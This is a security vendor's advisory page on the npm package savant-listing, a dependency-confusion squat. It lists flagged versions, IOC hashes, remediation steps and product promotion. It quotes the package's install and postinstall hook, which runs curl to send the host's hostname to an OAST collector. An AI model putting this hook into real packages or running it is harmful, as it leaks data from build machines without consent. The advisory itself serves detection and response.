Which versions of savant-listing are malicious?

The following npm versions of savant-listing are flagged malicious: 999.9.9, 999.9.10. Treat any of these as compromised.

How do I remediate savant-listing if I installed it?

savant-listing is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.

I already installed savant-listing — how do I know if it already compromised me?

If savant-listing was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.

Is savant-listing part of a known attack campaign?

Yes — savant-listing is associated with the IN-MAL-2026-004961, IN-MAL-2026-004956, IN-MAL-2026-004955, IN-MAL-2026-004962, GHSA-j69h-7gg8-2fxp, RLMA-2026-06482 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find savant-listing across my projects, lockfiles, and CI pipelines?

Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for savant-listing (2 malicious versions). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging savant-listing across your stack and pipelines.

Malicious package

savant-listingnpm

savant-listing is a confirmed malicious npm package (MAL-2026-5401) that steals credentials and exfiltrates sensitive data (malicious versions 999.9.9, 999.9.10). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in savant-listing (npm)

MAL-2026-5401

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall savant-listing

What this malware does

[email protected] is a dependency-confusion squat. package.json declares both install and postinstall lifecycle scripts that run curl https://d8fnie486mdq306lb5kgttwrnhxwj33g5.oast.online/info/?hostname=$(hostname), unconditionally exfiltrating the installer host's hostname to an out-of-band interaction (OAST/interactsh) collector on every npm install. The version 999.9.9 and description SAFE PoC - Demonstrates dependency confusion are consistent with a package published to the public registry to win version resolution over an internal package of the same name on victim build systems. The destination is a transient, attacker-controlled OAST subdomain not associated with any legitimate publisher; the harm fires automatically at install time without any user interaction.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Malicious versions

2 flagged

999.9.9999.9.10

Indicators of compromise (SHA-256)

2d6b7c657fc5ab0647f053b2eea71bebc1d720e7a70abf0316323af2a9d849aa

518fb2425e398b68afc0ced11b5ccf24fbcab3aae9c831b1a34a830c941f5963

7360e78a5c5d56ea9323cde1f41e33ce8cc6b625034ef82d067bbfeafee60461

972304a7ce9c3b67c976d03f4c2769d33ec68e2ff01b358a8ab374793c7ce078

befc4b6c8bee229433c06811eeb7fe724778cc25ec9fccef9811242168fc2e2b

be92cc94f1c3cc2d4424424f03a43e187ab4deb11a3a49078d2d370cd5afdf8c

Detection & response playbook

Credential / info stealer

Find it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for savant-listing (2 malicious versions). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging savant-listing across your stack and pipelines.
If you installed it — respond
savant-listing is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.
Did it already run?
If savant-listing was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks savant-listing before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.

Frequently asked questions

No. savant-listing on npm has been identified as a malicious package (versions 999.9.9, 999.9.10 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-004961IN-MAL-2026-004956IN-MAL-2026-004955IN-MAL-2026-004962GHSA-j69h-7gg8-2fxpRLMA-2026-06482

References

Credits

Amazon Inspector · finder
ReversingLabs · finder

Detect & block this

O3 blocks savant-listing-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.

Malware detection Runtime egress monitoring

Explore

All malware advisories How O3 detects malware Vulnerability database